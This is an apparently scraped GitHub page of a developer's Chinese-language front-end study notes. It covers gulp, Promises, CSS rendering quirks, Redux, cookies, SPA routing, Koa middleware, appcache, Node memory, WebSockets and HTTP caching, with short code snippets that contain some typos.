cqupt-yifanwu / cqupt-yifanwu.github.io Goto Github PK
View Code? Open in Web Editor NEWjiaoguibin.top
Home Page: http://jiaoguibin.top
jiaoguibin.top
Home Page: http://jiaoguibin.top
他是基于nodejs的自动任务运行器,能够自动化的完成javascript/coffee/sass/less/html/imgage/css等文件的测试、检测、合并、压缩、格式化、浏览器自动刷新、部署文件的生成、并且监听改动后重复指定的这些步骤。在实现上,gulp借鉴了Unxi操作系统的管道(pipe)**,前一级的输出,直接编程后一级的输入,使得在操作上十分简单。
gulp只介绍了四个API:task、dest、src、watch,除此之外,gulp还提供了一个run方法。
var gulp = require('gulp'),
uglify = require("gulp-uglify");
gulp.task('minify-js', function () {
gulp.src('js/*.js') // 要压缩的js文件
.pipe(uglify())
.pipe(gulp.dest('dist/js')); //压缩后的路径
});
gulp.task('rename', function () {
gulp.src('js/jquery.js')
.pipe(uglify()) //压缩
//会将jquery.js重命名为jquery.min.js
.pipe(rename('jquery.min.js'))
.pipe(gulp.dest('js'));
});
// ps : 现在已经sprite-css已经没有在更新了,现在焦sprity,也新增了一些功能,下面这段代码只是作为展示实例
gulp.task('sprite-css', function(){
var DEST_NAME = args[1];
return gulp.src(`${WATCH_SRC}/**/*.png`)
.pipe(spritesmith({
imgName: DEST_NAME + '.png',
cssName: DEST_NAME + '.css',
imgPath: '../images/' + DEST_NAME + '.png'
}))
.pipe(gulpif('*.png', gulp.dest('images/')))
.pipe(gulpif('*.css', gulp.dest('css/')));
});
var p = new Promise(function(resolve, reject){
console.log("create a promise");
resolve("success");
});
console.log("after new Promise");
p.then(function(value){
console.log(value);
});
输出的结果是
"create a promise"
"after new Promise"
"success"
promise在resolve之后 再抛出错误并不会被捕获,等于没有抛出,个人理解是状态改变之后就不会再次改变。
错误具有冒泡的特性,会一直向后传递,直到被捕获为止,但是不会冒泡到全局。跟传统的try catch 语句不同的是,如果没有使用catch 语句指定错误处理的回调函数,promise 对象抛出的错误不会传递到外层代码
Catch方法返回的还是一个promise 对象,因此后面还可以接着调用then方法,如果没有报错则跳过该catch 方法,需要注意的是,如果在catch 语句以后再抛出错误则无法捕获。
done 方法总是出于回调链的微端,保证抛出任何可能出现的错误(向全局)
值穿透:如果在then方法或是catch方法中传入的不是函数则会穿透,像是没有传入。
实现并行,不好的做法是使用forEach遍历执行promise,可以使用Promise.all
getAsyncArr().then(promiseArr => {
return promise.all(promiseArr);
})
.then(res => console.log(res))
实现串行执行,那我们可以利用reduce来处理串行执行
var pA = [
function() {return new Promise(resolve => resolve(1))},
function(data) {return new Promise (resolve(1 + data))}
]
pA.reduce((prev, next) => prev.then(next).then(res=>res), Promise.resolve()).then(res => console.log(res))
在项目中有一个翻页的动画使用transform,在Safari下出现问题,定位问题发现transform3D在Safari里跑的时候会忽略z-index,解决方案:给父级添加overflow:hidden;
使用inline-block实现定位,当你的定位元素附近或者定位了其他文字元素时inline-block会错位,原因是它会尝试着去跟文字元素的baseline对齐。使用inline-block实现这样的定位其实还会存在其他的很多问题,比如他们之间会存在空隙(需要将font-size设置成0)而且在不同浏览器下的效果也会不一样,建议还是用浮动实现这样的布局。
3.往数组中添加一个数据
Array.prototype.push.apply(A, B); // apply接受一个数组作为第二个参数,然后分别操作,借用这个方法来插入数组减少代码量
new Image().src = 'url'+data; // 前端埋点数据发送给某服务,也可以用该方式统计访问量等
<meta name="viewport" content="name=value,name=value">
//
指令
每对键值对都是一个指令,(ppk 大神的叫法)以下总计共有6对:
width
设置layout viewport的宽度(css px)
initial-scale
设置页面的初始缩放比例同时可以设置layout viewport的宽度
minimum-scale
设置最小缩放比例(指用户能够缩小到多小)
maximum-scale
设置最大缩放比例(指用户能够放大到多大)
height
设置layout viewport的高度,但暂时不怎么被支持
user-scalable
设置是否允许用户放大缩小。
当我们的网页不使用viewport的时候网页在移动端显示的时候基本上看不清楚字体,为什么呢?因为我们将960px(当我们不做设置的时候viewport会自动的把我们的html给规定成980px)的内容压缩到320dpx(非css单位,在移动端中1px带至一个最小显示单位,一屏就是320px)。
通过上述的例子我们知道基本上 viewport 的默认宽度是980px,且浏览器会将者 viewport 大小的 html 文档塞进有限的设备宽度内(浏览器会动态计算文档的布局及内容),所以我们看到的东西都很小。
那么我们想要清除的看清文档内的内容怎么办 ,没错,缩小 viewport 的大小,什么原理?
当我们缩小 viewport 的宽度的时候文档的宽度也对应的被缩小,即一样的设备宽度,我显示的东西少了(这时候浏览器重新计算文档布局及内容)可以看到的结果是字体被放大了,内容都被放大了!
比如,在一个400px宽的Viewport中有一个元素,设定width: 100px;,这时该元素就横跨了1/4的屏幕。如果用户把页面放大到两倍大小,这时Viewport宽度变成了200px,但元素仍然宽100个CSS像素。这时这个元素就占了半个屏幕了。
页面的滚动位置分为两种,一种是滚动body,另一种固定body的高度为100%,在main中滚动。
滚动body:页面的地址会随着body的滚动隐藏起来,并且在android设备中,滚动body会更加的流畅。(把body设置为overflow就行了)这种情况比较适合长列表页面,整个页面除了herder和footer之外都需要滚动,但很多时候我们只希望页面的某个元素滚动,这个时候就采取第二种布局方式。
body高度设置为100%:这种方法有许多种实现方式
这里面也存在一些需要注意的地方,在移动端,如果fixed定位结点后面紧接着跟着兴地结点是可滚动的(也就是设置了overflow为true),那么fixed结点会被其后的兄弟结点遮住
在移动端开发中,在有input元素的标签页中使用fixed定位时会出现一些问题。 在ios上,当点击input标签获取焦点唤起软键盘的时候fixed定位会暂时失效,或者理解为变为了absolute定位,在含有滚动的页面会和其他结点一起滚动。所以在含有input元素的页面中使用absolute更好。
在开发中我们经常要对表单元素进行输入限制,比如特殊的字符(也有xss的防范功能),我们会监听input事件。但是,在ios中input事件会截断非直接输入,比如:输入[焦贵彬]中间过程中会输入拼音,每次输入一个字母都会触发input事件,然而在没有点击选定按钮之前都会截断,也就是会触发很多次。这时候就需要我们说的两个事件。
compositionstart 事件在用户开始进行非直接输入的时候触发,而在非直接输入结束,也即用户点选候选词或者点击「选定」按钮之后,会触发 compositionend 事件。
css3动画会新建一个图层,另外部分css3动画会调用GPU,得到性能上的提升.
上面有提到需要注意一些地方,就是他会将后面的一些不需要新建图层的元素新建图层,使性能不仅没有提升反而出现了一些隐患!
在chrome 中选择open drawer(版本不同会不一样,有些版本下直接在控制台的设置中 more tools --> rednering)选择rendering,然后选择打开layer boerders ,现在在我们的浏览器上就可以看到一些黄色的框框,这个就是我们所谓的复合层,表示被放到了一个新的图层中渲染。
注意触发新建图层的最后一条,它的意思是如果有一个元素,它的兄弟元素复合层中渲染,而这个兄弟元素的z-index较小,那么这个元素(不管是否应用了硬件式加速)也会被放到复合层中,那么浏览器很有可能给复合层之后的所有相对或绝对定位的元素都创建一个复合层来渲染,于是就有了这样的情形-- 页面上很多元素都启用了GPU加速,反而导致了页面非常的卡顿
/* 关键字值 */
will-change: auto;
will-change: scroll-position; // 告知浏览器会有滚动
will-change: contents; // 告知浏览器内容或动画变化了
will-change: transform; /* <custom-ident>示例 */
will-change: opacity; /* <custom-ident>示例 */
will-change: left, top; /* 两个<animateable-feature>示例 */
/* 全局值 */
will-change: inherit;
will-change: initial;
will-change: unset;
如果使用的是rem的单位(相当于根元素的字体大小来缩放)因为这样有两个明显的缺点 1.适配屏幕的尺寸不是连续的 2. 在自己的css文件中添加打断的这样查询代码。增加了css文件的体积。
Reducer负责接收旧的State然后根据Action类型(利用switch case)来选择如何处理最后生成一个新的State返回。这里,Store接收到这个新的State之后会利用Store.subsricbe设置的监听函数来进行View层的更新。也就是说我们所有处理State的函数和逻辑都会放进Reducer里面,Reducer函数必定会非常的庞大。所以,这里我们要考虑对Reducer进行一个拆分。
这里我们使用阮一峰老师的一个例子:
const chatRducer = (state = defaultstate, action ()) => {
const {type, payload} = action; // 利用结构赋值
switch (type) {
case ADD_CHAT:
return Object.assign({}, state, {
chatLog: state.chatLog.concat(payload)
});
case CHANGE_STATUS:
return Object.assign({}, state, {
statusMessage: payload
});
case CHANGE_USERNAME:
return Object.assign({}, state, {
userName: payload
});
default: return state;
}
}
在上面的代码中三段处理逻辑的关系不大,但是我们都写在了reducer函数里,我们就可以将reducer函数进行拆分。不同的函数负责处理不同的属性,然后再将他们合并成一个大的Reducer即可(其实拆分Reducer为的是逻辑上更加清晰,当编译了之后还是同样的效果)。
const chatReducer = (state = defaultState, action = {}) => {
return {
chatLog: chatLog(state.chatLog, action),
statusMessage: statusMessage(state.statusMessage, action),
userName: userName(state.userName, action)
}
};
Redux提供了一个combineReducer方法,用于Reducer的拆分,只要定义各个子函数即可。
const chatReducer = combineReducers({
chatLog,
statusMessage,
userName
})
当你访问一个站点时,这个服务器如何来判断这个用户是谁呢?我们可能会第一个想到使用cookie,在写cookie之前,我们先来看看其他几种识别技巧。
cookie是识别当前用户,实现持久会话的比较好的方式。Cookie 是在 HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。Cookie 是由 Web服务器保存在用户浏览器(客户端)上的小文本文件,它可以包含有关用户的信息。无论何时用户链接到服务器,Web 站点都可以访问 Cookie 信息。目前有些 Cookie 是临时的(会话cookie),有些则是持续的(持久cookie)。临时的 Cookie只在浏览器上保存一段规定的时间,一旦超过规定的时间,该 Cookie 就会被系统清除。它们之间唯一的区别就是它们的过期时间(利用Expires或Max-Age参数来说明过期时间)。
cookie就像是服务器给用户的一个标记,当用户访问一个web站点的时候,这个web站点就可以读取此服务器给用户的所有标记。用户首次访问web站点时是空白的,此时服务器会给此用户一个cookie(以便于自身以后识别此用户),cookie中包含了一个由键值对(名字=值)这样的信息构成的列表,并且通过Set-Cookie或者Set-Cookie2 HTTP响应首部将其贴到用户身上,同时会向首部添加一个Domain属性来控制哪些站点可以看到这个cookie。浏览器会记住从服务器返回的cookie内容,并将它储存在浏览器的数据库中。当用户再次访问这个站点时,浏览器会挑中响应服务器的缓存发送出去。(不同的站点使用不同的cookie,浏览器只会将对应站点的cookie发送出去)
cookie分为0和1两个版本,0版本是网景公司定义的,它定义了Set-Cookie响应首部和cookie请求首部以及控制cookie的字段。它的Set-Cookie首部有如下主要字段。
这一部分待扩充。
javascript是运行在客户端的脚本,因此一般是不能设置session因为session是在服务器端运行的,而cookie是在客户端的,我们来看看在javascript中对cookie的操作。
document.cookie="name"+value;
document.cookie.split(";");
$.cookie('the_cookie', 'the_value', { expires: 7, path: '/' }); $.cookie('the_cookie');
单页Web应用(single page web application,SPA),就是只有一张Web页面的应用,是加载单个HTML 页面并在用户与应用程序交互时动态更新该页面的Web应用程序。简单来说就是用户只需要加载一次页面就可以不再请求,当点击其他子页面时只会有相应的URL改变而不会重新加载。
如果你的项目涉及到单页面的话,路由是必不可少的。从上面的介绍中可以知道单页应用的实现依赖与路由,在这里我们可以将上面路由的过程分为两部分:
按照常规的逻辑我们切换URL好像就会跳转网页,但是转念一项锚链接的URL不是也改变了吗? 这里,存在两种满足需求的方式。
var oldHash = location.hash; var oldURL = location.href; setInterval (function () { var newHash = location.hash; var newURL = location.herf; if (newHash !== oldHash && typeof window.onhashchange === 'function') { // 这里执行onhashchange的回调 } }, 100)
总的来说,基于Hash的路由,兼容性更好;基于History API的路由,更加直观和正式。但是,有一点很大的区别是,基于Hash的路由不需要对服务器做改动,基于History API的路由需要对服务器做一些改造。
爬虫有很多名字,比如web机器人、spider等,它是一种可以在无需人类干预的情况下自动进行一系列web事务处理的软件程序。web爬虫是一种机器人,它们会递归地对各种信息性的web站点进行遍历,获取第一个web页面,然后获取那个页面指向的所有的web页面,依次类推。因特网搜索引擎使用爬虫在web上游荡,并把他们碰到的文档全部拉回来。然后对这些文档进行处理,形成一个可搜索的数据库。简单来说,网络爬虫就是搜索引擎访问你的网站进而收录你的网站的一种内容采集工具。例如:百度的网络爬虫就叫做BaiduSpider。
爬虫在web上移动的时候会不停的对HTML页面进行解析,它要对所解析的每个页面上的URL链接进行分析,并将这些链接添加到需要爬行的页面列表中去。关于具体的方案我们可以查阅这篇文章
标记为不爬取
可以在你的网站中创建一个纯文本文件robots.txt,在这个文件中声明该网站中不想被蜘蛛访问的部分,这样,该网站的部分或全部内容就可以不被搜索引擎访问和收录了,或者可以通过robots.txt指定搜 索引擎只收录指定的内容。搜索引擎爬行网站第一个访问的文件就是robot.txt。同样也可以把链接加上**rel="nofollow"**标记。
避免环路与循环方案
规范化URL
广度优先的爬行
以广度优先的方式去访问就可以将环路的影响最小化。
节流
限制一段时间内爬虫可以从一个web站点获取的页面数量,也可以通过节流来限制重复页面总数和对服务器访问的总数。
限制URL的大小
如果环路使URL长度增加,长度限制就会最终终止这个环路
URL黑名单
人工监视
搜索引擎优化也叫SEO,了解了web爬虫的工作方式于原理之后对SEO会有更好的认识,对于前端开发,需要注意的SEO有以下内容:
来自AMD设计**的总结和思考
// 装载时依赖
define('a',function (require) {
require('b').init();
})
// 运行时依赖
define('b',function(require)) {
return {
foo : require('b').foo();
}
}
我们知道在define中我们可以将以来直接声明到第二个参数里(数组),也可以利用require直接在需要时声明(要将require作为默认参数传给factory),那么当依赖前置的时候我们如何判断依赖方式?在我们在第二个参数声明了依赖之后,通常会将需要的用道(初始化)的模块名当作参数传入factory,当传入的参数个数(length)于第二个参数中数组的length不相等时,我们就会认为它存在运行时依赖。
The dependencies argument is optional. If omitted, it should default to [“require”, “exports”, “module”]. However, if the factory function’s arity (length property) is less than 3, then the loader may choose to only call the factory with the number of arguments corresponding to the function’s arity or length.
esl是AMD规范下的一个应用,它是一个浏览器端、符合AMD的标准加载器,适合用于现代Web浏览器端应用的入口与模块管理。
相比于Require:
前面有提到我们声明依赖的时候有两种方式:
但是这两种方式中模块初始化的时机不同,需要注意:
当factory的形式参数数目少于3时,loader可以根据参数数量的前几个dependencies模块,去call factory。也就是说,dependencies数组里,后面一些模块的初始化时机,是可以自由把握的;在call factory的时候,dependencies数组中位于形式参数length后面index的模块,不一定要初始化完毕。
if(process.env.NODE_ENV === ‘production’) {
fs.. // 去使用mock数据
}
来使用mock数据。那么 process.env.NODE_ENV 的值如何写入或者决定呢?// 通过NODE_ENV来设置环境变量,如果没有指定则默认为生产环境
var env = process.env.NODE_ENV || 'production';
当我们本地开发的时候可以通过脚本文件进行操作
export NODE_ENV=development
我们只需要启动服务的时候将它运行。
koa中间件的的执行顺序是洋葱模型,外层逐步向内,执行到最中间再逐步向外扩展,实现这个顺序的模型需要依赖于generator函数,它可以暂停执行将控制权交出,等到执行next再得到执行权继续执行,我们需要做的就是将generator串联起来,将后面的generator函数跟在上一层函数的yield语句之后,可以看作后面的函数是next的参数,这样我们就形成了一个串联,它的执行顺序就是我们前面所提到的洋葱模型。
在koa中,实现上面所说的串联函数就是利用了compose,下面是compose的大概实现(在koa中叫koa-compose):
function compose (middlewares) {
return function (next) {
var i = middlewears.length;
var next = function* () {}();
while (i--) {
next = middlewares[i].call(this, next);
}
return next;
}
}
在koa的源码中有这样的代码:
var fn = this.experimntal
? compose_es7(this.middleware)
: co.wrap(compose(this.middleware));
我们添加中间件的时候使用app.use方法,其实这个方法只是把中间件push到一个数组,很明显,所有的中间件在数组中,那么它们之间是没有联系的,所以我们会看到上面的代码,将所有的中间件都传入了我们所说的compose中。经过compose转换的代码是下面这样
//达到了洋葱模型的效果
function *() {
yield *g1(g2(g3()))
}
上面我们看到通过使用koa-compose将中间件联系在一起(串联),可是在koa中需要调用next()方法才可以驱动函数向下执行。这时候就需要用到co模块。它可以帮我们自动管理generator的next,并根据调用返回value做出不同的响应;如果遇到另外一个generator,co会继续调用自己,这就是我们为什么需要co。
简单实现原理:
function run (gen) {
var g;
if (typeof gen.next === 'function') {
g = gen;
} else {
g = gen();
}
function next () {
var tmp = g.next();
if (tmp.done) {
return;
} else if (typeof g.next === 'function') {
run(tmp.value); // 将下一步传入run函数当中
next();
}
}
next();
}
通过递归的方式(判断是否执行结束),来驱动generator的执行。
web应用程序的本地缓存是通过每个页面的manifest文件来管理的,这个文件是一个简单的文本文件,可以在这个里面指定要缓存的资源文件的资源名称。可以为单独页面指定也可以对整个web应用程序指定一个总的manifest文件。同时也要对服务器进行设置,让服务器支持text/cache-manifest这个MIME类型。
manifest的大概写法
CACHE MANIFEST
CACHE MANIFEST // 这一行是必须的是必须的,告知浏览器需要进行本地缓存
/theme.css
/logo.gif
/main.js
以此告诉浏览器对本地服务器的一些资源进行具体设置,上面的 manifest 文件列出了三个资源:一个 CSS 文件,一个 GIF 图像,以及一个 JavaScript 文件。当 manifest 文件加载后,浏览器会从网站的根目录下载这三个文件。然后,无论用户何时与因特网断开连接,这些资源依然是可用的。
NETWORK
白名单,使用通配符"*". 则会进入白名单的open状态. 这种状态下.所有不在相关Cache区域出现的url都默认使 用HTTP相关缓存头策略.或者写出不需要缓存的文件,这 些文件都不会进行本地缓存。
FALLBACK
每行指定两个资源文件,第一个资源文件为能够在线访问时使用的资源文件,第二个资源文件为不能在线访问时使用的备用文件。
指定上述文件,可以用相对路径,也可以用绝对路径,都是ok的。但是绝对路径要加上http://
applicationCache对象代表了本地缓存,它提供个了一些方法和事件,管理离线存储的交互过程。通过在firefox8.0的控制台中输入window.applicationCache可以看到这个对象的所有属性和事件方法。
当我们不适用applicationCache的时候页面内容更新是在下一次打开本页面的时候更新吗如果使用了applicationCache的时候可以立即被更新。下面我们来看一下它的一些属性和方法。
applicationCache.onUpdateReady = function(){
//第二次载入,如果manifest被更新
//在下载结束时候触发
//不触发onchched
alert("本地缓存已经更新,您可以刷新页面来得到本程序的最新版本");
}
applicationCache.onUpdateReady = function(){
//第二次载入,如果manifest被更新
//在下载结束时候触发
//不触发onchched
alert("本地缓存正在更新中。。。");
if(confirm("是否重新载入已更新文件")){
applicationCache.swapCache();
location.reload();
}
}
也就是说如果不调用该方法,用户需要手动刷新页面才能看到更新后的方法
applicationCache.onchecking = function(){
//检查manifest文件是否存在
}
applicationCache.ondownloading = function(){
//检查到有manifest或者manifest文件
//已更新就执行下载操作
//即使需要缓存的文件在请求时服务器已经返回过了
}
applicationCache.onnoupdate = function(){
//返回304表示没有更新,通知浏览器直接使用本地文件
}
applicationCache.onprogress = function(){
//下载的时候周期性的触发,可以通过它
//获取已经下载的文件个数
}
applicationCache.oncached = function(){
//下载结束后触发,表示缓存成功
}
application.onupdateready = function(){
//第二次载入,如果manifest被更新
//在下载结束时候触发
//不触发onchched
alert("本地缓存正在更新中。。。");
if(confirm("是否重新载入已更新文件")){
applicationCache.swapCache();
location.reload();
}
}
applicationCache.onobsolete = function(){
//未找到文件,返回404或者401时候触发
}
applicationCache.onerror = function(){
//其他和离线存储有关的错误
}
使用JavaScript进行前端开发时几乎完全不需要关心内存管理问题,对于前端编程来说,V8限制的内存几乎不会出现用完的情况,v8在node中有着内存的限制(64位1.4GB;32位0.7GB),由于后端程序往往进行的操作更加复杂,并且长期运行在服务器不重启,如果不关注内存管理,导致内存泄漏,node对内存泄露十分敏感,一旦线上应用有成千上万的流量,哪怕是一个字节的内存泄露都会造成堆积,直到内存溢出。
我们可以使用process.memoryUsage() 可以查看内存的使用情况,有rss、heapTotal、heapUsed三个值,他们分别代表常驻内存、堆中总共申请内存、目前堆中使用的内存量。要注意,rss包括但不仅限于堆内存,我们知道在js中堆储存者对象等..rss中还有栈、代码运行内存、堆外内存。在node中对内存的分配和内存回收主要值得是堆内存,它把堆内存分区(新生代、老生代),新生代的对象为存活时间较短的对象,老生代的对象为存活时间较长或常驻内存的对象。并且对这两种分区采用不同的算法进行垃圾回收,新生代空间较小,将它分为from/to两个部分,每次检查会将from中的存活对象复制到to中,然后释放剩下的对象资源,之后再转换from和to的角色。当新生代中的对象多次被复制则将其晋升到老生代,若to中内存使用超过25%也会将后续对象直接晋升。老生代中对象存活期较长,空间较大,采用这种算法不仅浪费较多而且耗时长,在老生代中采用标记法实现垃圾清除。另外还有一种算法可整合不连续的空间(耗时较长)
在我们使用Buffer的时候如果我们传入的字符串是中文,我们可能会看到乱码的出现,这个是如何产生的的呢?因为中文是宽字节的(三个字节)当我们使用如下代码去读取文字
var rs = fs.createReadStream('test.md', {highWaterMark: 11});
我们规定了每次读取的字节数是11,那么每个字符是三个字节,第四个字节将会出现截断出现无法正常显示的情况。
那么应该如何解决呢?
var chunks = [];
var size = 0;
res.on('data', function (c) {
chuncks.push(c);
size += c.length;
});
res.on('end', functino () {
var buf = Buffer.concat(chuncks, size); // 实质上就是利用concat方法
var str = iconv.decode(buf, 'utf-8') ;
})
谈到css3的动画我们会想起来关于它对性能的影响,它的一些方法或者属性会新建一个图层,将这个动画在这个图层上完成,同时也会触发GPU,调用硬件来加速,但是最近看到一篇@前端农民工的文章中讲解了关于css3硬件加速的一些坑,现在就来谈谈自己的感受。
在chrome 中选择open drawer(版本不同会不一样,有些版本下直接在控制台的设置中 more tools --> rednering)选择rendering,然后选择打开layer boerders ,现在在我们的浏览器上就可以看到一些黄色的框框,这个就是我们所谓的复合层,表示被放到了一个新的图层中渲染。
注意最后一条,它的意思是如果有一个元素,它的兄弟元素复合层中渲染,而这个兄弟元素的z-index较小,那么这个元素(不管是否应用了硬件式加速)也会呗放到复合层中。
根据上面最后一条,那么浏览器很有可能给复合层之后的所有相对或绝对定位的元素都创建一个复合层来渲染,于是就有了这样的情形-- 页面上很多元素都启用了GPU加速,反而导致了页面非常的卡顿
在启用css3动画的元素上增加position:relative和z-index:1,这种做法的原理是认为提升动画元素的z-index,让浏览器知道这个元素的层序,就不会很**的把其他z-index比他高的元素耶弄到复合层中了
上面说了一些需要注意的地方,但是总体来说我们还是会采用一些css3的动画去调用GPU,比如translate-Z:0;可是此时我们并不是要旋转,这是一种欺骗浏览器的行为。此时我们可以关注一下will-change
/* 关键字值 */
will-change: auto;
will-change: scroll-position; // 告知浏览器会有滚动
will-change: contents; // 告知浏览器内容或动画变化了
will-change: transform; /* <custom-ident>示例 */
will-change: opacity; /* <custom-ident>示例 */
will-change: left, top; /* 两个<animateable-feature>示例 */
/* 全局值 */
will-change: inherit;
will-change: initial;
will-change: unset;
.module {
.action {
a, a:hover {
//styles
}
}
}
.mixin(@heitht: 10px) { // 这里看起来更像是函数,可以传入参数(还可以指定默认值,强大!跟es6的默认参数有点像)
height: @height
}
.classA {
.mixin();
}
.calssB {
.mixin(15px;) // 这里可以将参数重定义为15px
}
.block {
margin: 10px 5px;
padding: 2px;
}
p {
.block;/*继承.block选择器下所有样式*/
border: 1px solid #eee;
}
.mixin(@height: 10px) when (@height >= 10) {
...
}
它可以在浏览器和服务端两种环境运行,服务端通过npm下载然后require进来即可,浏览器上直接引入less.js文件即可。下面说一下配合gulp来编译less,直接上代码
```
gulp.task('lessToCss', function() {
gulp.src('url.less')
.pipe(sourcemaps.init()) // 生成sourcemap 方便查找
.pipe(less())
.pipe(sourcemaps.write('./maps'))
.pipe(gulp.dest('static/css'));
gulp.watch('less.scss', ['less']);
});
```
减少HTTP请求是上面性能准则中最为显著的一条,我们可以分为三个主要方面来讨论
CDN是一个拥有很多服务器、经过策略性部署的、可以覆盖全球的网络系统,当用户访问一个比较大的网站时,CDN会从最近的一个节点为用户提供服务。但是动态数据的处理最好放在集中的服务器中,因为跨地域同步数据库是一个令开发者头痛的问题,所有大多数互联网公司都把购买、登陆等数据相关的事物放到一个地方处理。另外,CDN服务是很贵的,如果网站的流量值得去付出这么多钱,它无疑会给性能带来提升。
我们使用javascript给空的src赋值时,javascript放在文档的最后,此时虽然src是空的仍然会发出一个HTTP请求。当我们点击一个空的href属性的链接时,同样会发出一个HTTP请求,虽然这个HTTP请求不会有影响加载时间但是会给服务端造成一定的流量浪费。我们可以创建一个带有描述性信息的很href属性,并阻止这次HTTP请求
<a href="#SometingDescriptive" id="TriggerName">TriggerName</a> <script type="text/javascript"> $("#TriggerName").click(function (e) { e.prventDefaulet(); // 取消默认行为 ... }); </script>
另外,空的src和href也是会产生报错的
增加了过期头之后浏览器便会缓存这些文件,当用户第二次访问这个网站的时候就不会再像服务端请求这个文件。关于缓存的详细介绍可以点这里
HTTP协议1.1引入了Accept-Encoding这个功能(表明HTTP请求的内容是压缩过的),GZIP就是其中的一种压缩方式,它是现在压缩比率最高的,据雅虎的统计它减小了大约70%的响应大小。它不仅仅会减小文件传输时间,同时也节省了带宽。
浏览器并不会等全部HTML解析完成之后才渲染元素,而是同时进行,把css放到前面就会保证先渲染的那一部分元素的显示样式是正确的,这么写在性能方面也有很大的意义,你绝不希望引起大量的浏览器重绘。如果你的样式文件放到页面的底部,那么浏览器就会等所有文件都加载完才会绘制页面,那么用户很有可能盯着白屏一长段时间,
脚本会阻止并行加载(link支持最大限度的并行加载),也就是说,当浏览器加载一个脚本的时候时,它不会加载其他文件。如果脚本在头部那他会阻止页面的渲染。我们可以用script标签上的DRFFER属性通知浏览器去异步的加载其他文件,但是这么做会出现两个问题。
关于这个问题可以去我博客园的 博客 来查看。
虽然table布局因为它的一些非语义化、布局代码冗余,以及不好维护改版等缺点被赶出了布局界。但是在css不给力时期,table布局也曾风靡一时,就算现在看来table的一些布局的特性也是非常给力的,而幸好css也吸取了table布局一些好的特性为己用。让我们可以使用更少、更语义化的标签来模拟table布局,可以跳过table布局的缺点又实现我们想要的效果,所以我们首先需要了解table的一些特性以及对应的css属性。
我们在不居中使用到的也就是table、tr、td的一些特性,所以我们只需要了解这三个标签的特性就足够了。
在上面几个中,我们用display:table-cell用的比较多。与其他一些display属性类似,table-cell同样会被其他一些CSS属性破坏,例如float, position:absolute,所以,在使用display:table-cell与float:left或是position:absolute属性尽量不用同用。设置了display:table-cell的元素对宽度高度敏感,对margin值无反应,响应padding属性,基本上就是活脱脱的一个td标签元素了。
HTML5中提供了在网页文档之间互相接收与发送信息的功能。使用这个功能只要获取到网页所在窗口对象的实例,无论是否同源都可以实现跨域通信。经常用于不同frame之间的通信。
window.addEventListener("message", function () { ... }, false);
otherWindow.postMessage(message, targetOrigin)
<!--
该方法使用两个参数:第一个参数为所发送的消息文本
,但是也可以是任何javascript对象(通过JSON转换为
文本对象);第二个参数为接受消息的对象窗口的URL地
址。可以在URL地址字符串中使用通配符“*”指定全部地
址,otherWindow为要发送窗口的对象引用,可以用
window.open返回该对象,或者通过对window.frames数
组指定序号(index)或名字的方式来返回单个frame所
属的窗口对象。
-->
window.addEventListener("message", function (e) {
if (e.origin != "http://XXX") {
return false;
}
alert(e.data);
e.source.postMessage("您好,我已经收到",e.origin)
})
通信通道机制提供了一种在多个源之间通信的方法,这些源之间通过端口(port)进行通信,从一个端口中发出的数据将被另一个端口接收。消息通道提供了一个直接,双向浏览上下文之间的通信手段。跟跨文档通信一样,DOM不直接暴露。取而代之,管道每端为端口,数据从一个端口发送,另一个变成输入(反之亦然)。
当需要在iframe元素中的子页面中实现通信机制时,我们要创建一个MessageChannel对象,我们实际上创造了两个相互关联的端口。一个端口保持开放,为发送端。另外一个被转发到其他浏览上下文(另一个iframe元素的子页面中)。每一个端口就是一个MessagePort对象,包含3个可用方法:
webSockets 是HTML5提供的在web应用程序中客户端与服务器端之间进行非HTTP请求的通信机制。它实现了用HTTP不容易实现的服务端数据推送等智能通信技术。浏览器通过 JavaScript向服务器发出建立WebSocket连接的请求,建立一个非HTTP的双向链接,这个链接是实时的,也是永久的,除非被显示关闭,连接建立以后,客户端和服务器通过TCP连接直接交换数据。WebSocket连接本质上是一个TCP连接。另外,在WebSockets中同样可以使用跨域通信技术。在使用跨域技术的时候应该确保客户端与服务器是互相信任的。另外:WebSocket在数据传输的稳定性和数据传输量的大小方面,具有很大的性能优势。
var webSockets = new WebSockets("ws://localhost:8005/socket");
<!--
url 字符串必须以"ws"或者"wss"(加密通信)文字作为开头。这个url呗设定好之后,在javascript中可以通过访问webSockets对象的url属性来获取
-->
webSockets.send("data");
<!--
这个方法只能发送文本数据,但是我们可以将任何类型的数据转换为JSON对象再进行发送
-->
// 通过获取onmessage事件句柄来接收服务器传过来的数据
webSocket.onmessage = function (e) {
var data = event.data;
}
// 通过onopen事件句柄监听socket打开事件
webSocket.onopen = function () {
// 开始通信时的处理
}
// 通过onclose事件句柄来监听socket的关闭事件
webSocket.onclose = function (event) {
// 通信结束时的处理
}
从字面意思来看,是只由服务器发送一些事件,由客户端接收。从“服务端主动发送”这一点上来看该API与WebSockets API有些相似之处,但是该API与WebSockets API不同的是,该API实现的是一种从服务器端发送到客户端的单项通信机制,而WebSockets API实现的是双向通信机制。在Sever-Sent Event API 中,服务端主动发送的事件有些类似于Javascript脚本代码中的事件,但是不同的是,在客户端不能控制服务端何时发送这些事件,以及服务端在这些事件中携带哪些数据。
Cache-Control头在HTTP中有一定的难度,第一它既可以用于请求头,也可以用于响应头(这里主要将响应缓存)。第二,它控制着两个缓存,本地缓存:指客户端本地及其中的缓存(大多指浏览器缓存),但是它完全不受控制,通常浏览器会自己决定是否把某些内容放到缓存中,同时用户也可以自己处理缓存(清空)。共享缓存,处于客户端和服务器之间的缓存。既CDN。开发者可以绝对的控制。
1. Cache-Control: public max-age=3600
2. Cache-Control: private immutable
3. Cache-Control: no-cache
4. Cache-Control: public max-age=3600 s-maxage=7200
5. Cache-Control: public max-age=3600 proxy-revalidate
首先,Cache-Control有三种属性:缓冲能力、过期时间和二次验证。
cache-Control不是响应头独有的,在有些请求头中会带有Cache-Control,但是我们为什么很少在请求头中见到这个呢?(也很少见到这方面的资料)原因就是:他非常的危险!
我们知道,HTTP中的PUT方法是具有很大的风险性的,因为它有可能使服务端的资源被不安全的客户端修改,请求中的Cache-Control也是一样,来跟我仔细思考:前面说到CDN是为了加快访问同时减轻服务器的压力,甚至是保护底层的数据库,那么试想,如果客户端利用Cache-Control强行的关闭掉CDN直接把请求发送到服务器上,此时攻击者就可与击穿CDN!所以说他具有很大的风险性,实现这个规范的服务器少之又少!
什么是缓存
